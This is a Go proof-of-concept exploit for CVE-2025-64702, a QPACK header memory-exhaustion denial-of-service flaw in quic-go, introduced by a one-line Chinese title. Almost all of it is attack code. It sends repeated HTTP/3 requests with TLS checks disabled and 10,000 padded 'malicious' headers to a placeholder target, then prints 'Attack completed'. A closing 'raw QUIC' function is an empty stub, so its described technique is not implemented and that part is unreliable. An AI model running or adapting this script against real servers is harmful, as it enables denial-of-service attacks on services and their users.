CVE-2025-64702 quic-go QPACK HEADERS帧内存耗尽拒绝服务漏洞

// CVE-2025-64702 PoC - QPACK Header Exhaustion Attack // This PoC demonstrates sending a malicious QPACK-encoded HEADERS frame // that decodes to a very large header section package main import ( "context" "crypto/tls" "fmt" "net" "net/http" "time" "github.com/quic-go/quic-go/http3" ) func generateMaliciousHeaders() []string { // Generate thousands of unique header names // This will cause memory exhaustion when decoded headers := []string{} for i := 0; i < 10000; i++ { headers = append(headers, fmt.Sprintf("X-Malicious-Header-%d", i)) headers = append(headers, fmt.Sprintf("Value with padding data to increase memory usage %d", i)) } return headers } func exploitCVE202564702(targetURL string) error { // Create HTTP/3 client with custom settings client := &http.Client{ Transport: &http3.RoundTripper{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, }, } // Create request with malicious headers req, err := http.NewRequest("GET", targetURL, nil) if err != nil { return err } // Add malicious headers that will cause memory exhaustion maliciousHeaders := generateMaliciousHeaders() for i := 0; i < len(maliciousHeaders); i += 2 { req.Header.Set(maliciousHeaders[i], maliciousHeaders[i+1]) } // Send the request ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() resp, err := client.Do(req.WithContext(ctx)) if err != nil { return fmt.Errorf("request failed: %w", err) } defer resp.Body.Close() fmt.Printf("Response Status: %s\n", resp.Status) return nil } func main() { target := "https://target-server:443/" fmt.Println("CVE-2025-64702 PoC - QPACK Header Exhaustion") for i := 0; i < 10; i++ { fmt.Printf("Sending request %d...\n", i+1) if err := exploitCVE202564702(target); err != nil { fmt.Printf("Error: %v\n", err) } time.Sleep(100 * time.Millisecond) } fmt.Println("Attack completed") } // Alternative raw QUIC implementation for more direct exploitation type MaliciousQUICClient struct { conn net.PacketConn } func (m *MaliciousQUICClient) craftMaliciousHeadersFrame() []byte { // Craft QPACK-encoded HEADERS frame with: // 1. Small compressed size (passes size checks) // 2. Large decoded size (causes memory exhaustion) // This requires careful QPACK encoder manipulation frame := make([]byte, 0) // QPACK instruction to create many dynamic entries // with duplicate references to maximize decoded size return frame }